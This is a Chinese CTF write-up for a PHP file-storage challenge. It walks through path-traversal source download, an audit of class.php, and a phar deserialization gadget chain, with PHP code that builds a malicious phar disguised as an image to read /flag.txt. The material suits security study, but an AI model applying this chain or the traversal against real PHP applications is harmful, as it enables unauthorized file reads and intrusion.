打开之后先注册一个用户,然后登陆,看到可以传输文件,传一个木马改jpg上去
看到可以下载,先打开burpsuite抓个包,然后输入cookie在burp上进入我们那个用户。


可以看到进入我们那个用户了,能看到我们注册的用户上传的文件。
下载文件在download.php,
而且文件变量叫filename,所以抓个下载包。

可以看出光下载我们的文件是没用的,我这个文件是用来getshell的,只不过本题不能这样,我们可以在这里下载源码

post传参下载,注意我一开始传的../../../报错说找不到文件,需要传../../即可

这个需要经验积累,或者只能尝试了。

我们在源码里面找到了还有class.php和login.php,全下载下来看看。

又在这里找到了register.php,找到的都下载!

看到下面有file_get_contents()也就是只要让filename是flag.txt就能读出,还要想办法让其回显。
我们看到了class.php中的析构函数
1 2
| __construct() __destruct()
|
两个函数分别是在类实例化时和调用结束时触发,也就是construct()在刚初始化类时候,先触发,而destruct()在类调用完的时候最后触发。
还有
如果在外部调用一个类里面的不存在的函数时,PHP会自动寻找类中是否存在__call()方法,如果存在就把外部调用的函数名和参数传递给call(),参数列表以数组的形式传递
这里看到一个前人经验总结:
只要和序列化有关,就在魔术方法里
1 2 3 4 5 6 7 8 9
| 1. _construct() 2. _destruct() 3. _call() 4. _get() 5. _set() 6. _toString() 7. _sleep() 8. _wakeup() 9. _autoload()
|
找高危函数比如
1 2
| file_get_contents() eval()
|
刚才又花了几个小时来捋顺这个思路,首先代码审计,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
干脆我直接将class.php放上来
我在代码上作了注释,可以看出本题从注册界面先注册用户,然后登陆验证,然后进行文件上传,上传时文件名就是filename
当USER类调用完之后,运行析构函数__destruct(),里面是close函数,然而并没有定义。此时会自动调用
1
| __call()函数,将原来想调用的函数和其参数都当参数传进去
|
也就是Filelist.func传入了close

在index.php中先对FileList进行初始化,传入了用户的session键值
所以现在里面有三个变量等待赋值,刚初始化时会调用__construct函数也就是针对本类的变量,每个都构建一个数组用来存放用户上传不同文件的信息。上传文件后生成文件路径$path打开路径,将文件夹下的所有文件都存入$filenames。
将filenames的每个文件都遍历,遍历时当作$fiilename然后实例化File(),如下图,然后open路径下对应的正在遍历的每一个$filename文件,open函数是定义为作验证的。然后将这个filename所在的File类信息存到$this->files数组中。然后为results数组创建映射,每个文件名对应其类信息。这样就创建好了results的映射。


然后调用call函数,传入close函数放到$this->func数组中,然后遍历每个我们刚才存入的File类的信息(在$this->files = array()数组中)
在每个类中寻找文件名和函数,找到了就调用,也就是在File类中找到close并调用

应该返回$filename的内容,还要让其显示出来。这个因为在FileList调用之后会调用析构函数__destruct()函数,所以会在页面上打印出$this->filename的文件内容。我们应该让filename = /flag.txt。逻辑到此滤清了。下面看手段。
https://blog.csdn.net/u011474028/article/details/54973571?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164588745716780255253994%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164588745716780255253994&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-3-54973571.pc_search_result_cache&utm_term=phar&spm=1018.2226.3001.4187
下面介绍PHAR方法:(上面链接可以看一下,教会我们如何写和运行基本的phar)
phar://的理解
简单的来说他就是一个压缩文件,我们可以利用/来访问压缩包里面的内容。而且php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。我们这里利用的是后者。
a stub
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
我们举个例子:
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
建立一个空类便于操作。
然后我们在服务器中访问这个文件,就会生成一个phar.phar文件
我们用winhex打开

这样应该看明白了
开头处为什么说必须以__HALT_COMPILER();?>
来结尾,因为这里是文件头,我们可以构造出我们想要的文件头,也就是不同类型的假文件。
比如这种。构造出了gif文件。
中间我们可以自己定义一些元数据(metadata),也就是文件信息之类的吧。他会序列化进去,我们在winhex也看到了。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

我们来尝试一下反序列化的所得:

然后看输出
确实将phar.phar的元数据反序列化输出了。
更具体的phar练习看https://xz.aliyun.com/t/2715
对于本题制作的phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function _construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } }
$a = new User(); $a->db = new FileList();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User(); $o->db = new FileList();
$phar->setMetadata($a); $phar->addFromString("exp.txt", "test");
$phar->stopBuffering(); ?>
|
然后上传时发现只能上传png,gif,我们修改一下文件后缀。
然后用burp抓包,传参phar伪协议代码,这个看我上面的链接有教怎么写。

上传之后即可拿到flag.